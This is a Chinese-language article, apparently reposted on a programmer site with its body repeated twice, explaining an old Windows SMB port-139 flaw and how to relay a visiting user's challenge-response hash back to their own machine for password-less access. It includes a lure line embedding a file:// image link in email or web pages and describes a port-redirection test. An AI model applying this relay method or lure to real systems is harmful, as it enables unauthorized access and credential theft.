系统泄露密码的入侵分析
程序员文章站
2022-10-02 14:56:37
Windows访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。
下面是SMB的密码认证方式。
WINDOWS的139口的访问... 08-10-08...
windows访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。
下面是smb的密码认证方式。
windows的139口的访问过程，箭头表示数据方向：
1.客户端<--------------------建立tcp连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
认证方式就是用户级认证还是共享级认证和密码加密不，key是服务器随机生成的8个字节，win2000已经支持16个字节的 key。
4.客户端--------------用户名、加密后密码----------------->服务端
win9x、winnt、win2000这有个漏洞，不经过提示等就把当前用户名，密码加密后发过去了，导致密码泄漏。这儿加密是des的变形，lockedpass=chgdes(key,pass)。这儿的pass是作为des变形的key，key是作为des变形的待加密数据。
5.客户端<---------------认证成功否-----------------------服务端
windows客户端第4步有漏洞，显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以*指定，因为这是服务方提供的，usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆，但已经可以用暴力法破解了，也已经有了这样的程序。其实我们有时并不一定要得到密码明文的，只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用，我们反过去访问看看，telnet、ftp等连接要密码明文我们得到的lockedpass不能提供，那么我们考虑用同样加密算法传密码密文的服务呢?比如就是netbios共享服务。前面是服务端得到东西，那现在就是站在客户端了，再看前面那过程，显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定，大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.
好我们再仔细看看连接过程，别人连接两步1、2：
1.客户端<--------------------建立tcp连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
下面就该
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接netbios服务回去。显然这而需要连接回去的11，22，33共3步(为了区分连接回去的步子用重号表示)才能得到key2，显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定ip的netbios服务然后等这用户来访问，这可能有时间超时等处理，或者等到任意ip连接netbios服务后马上连回去，反正怎么处理方便、满足需要就怎么处理。
下面显然就是设置 key=key2返回3，那就等4得到lockedpass了，第5步嘛就你*处理了，要不返回密码错误，后面就是44、55……
总的来就是1，2，11，22，33，3，4，5，44，55……显然你就是以那机器访问你的用户的身份去访问他的netbios服务了，能干什么那就看那用户的权限了。
注意有兴趣的可以把samb包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是windows泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器，这好办，邮件或者主页等里面来个
imgsrc”="file://ip/filename" ...
就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向)，用端口重定向程序把来向139口定向回去，找另一个winnt机器用
file://ip/访问那重定向139口的机器，结果是没有密码提示就看到winnt机器本身了。其实这时重定向端口程序那台机器已经用winnt机器的当前用户访问winnt了，只是由于没有客户端的处理界面不能操作。
下面是smb的密码认证方式。
windows的139口的访问过程，箭头表示数据方向：
1.客户端<--------------------建立tcp连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
认证方式就是用户级认证还是共享级认证和密码加密不，key是服务器随机生成的8个字节，win2000已经支持16个字节的 key。
4.客户端--------------用户名、加密后密码----------------->服务端
win9x、winnt、win2000这有个漏洞，不经过提示等就把当前用户名，密码加密后发过去了，导致密码泄漏。这儿加密是des的变形，lockedpass=chgdes(key,pass)。这儿的pass是作为des变形的key，key是作为des变形的待加密数据。
5.客户端<---------------认证成功否-----------------------服务端
windows客户端第4步有漏洞，显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以*指定，因为这是服务方提供的，usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆，但已经可以用暴力法破解了，也已经有了这样的程序。其实我们有时并不一定要得到密码明文的，只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用，我们反过去访问看看，telnet、ftp等连接要密码明文我们得到的lockedpass不能提供，那么我们考虑用同样加密算法传密码密文的服务呢?比如就是netbios共享服务。前面是服务端得到东西，那现在就是站在客户端了，再看前面那过程，显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定，大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.
好我们再仔细看看连接过程，别人连接两步1、2：
1.客户端<--------------------建立tcp连接----------------->服务端
2.客户端-------客户端类型、支持的服务方式列表等---------->服务端
下面就该
3.客户端<---------服务器认证方式、加密用的key等-----------服务端
这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接netbios服务回去。显然这而需要连接回去的11，22，33共3步(为了区分连接回去的步子用重号表示)才能得到key2，显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定ip的netbios服务然后等这用户来访问，这可能有时间超时等处理，或者等到任意ip连接netbios服务后马上连回去，反正怎么处理方便、满足需要就怎么处理。
下面显然就是设置 key=key2返回3，那就等4得到lockedpass了，第5步嘛就你*处理了，要不返回密码错误，后面就是44、55……
总的来就是1，2，11，22，33，3，4，5，44，55……显然你就是以那机器访问你的用户的身份去访问他的netbios服务了，能干什么那就看那用户的权限了。
注意有兴趣的可以把samb包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是windows泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器，这好办，邮件或者主页等里面来个
imgsrc”="file://ip/filename" ...
就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向)，用端口重定向程序把来向139口定向回去，找另一个winnt机器用
file://ip/访问那重定向139口的机器，结果是没有密码提示就看到winnt机器本身了。其实这时重定向端口程序那台机器已经用winnt机器的当前用户访问winnt了，只是由于没有客户端的处理界面不能操作。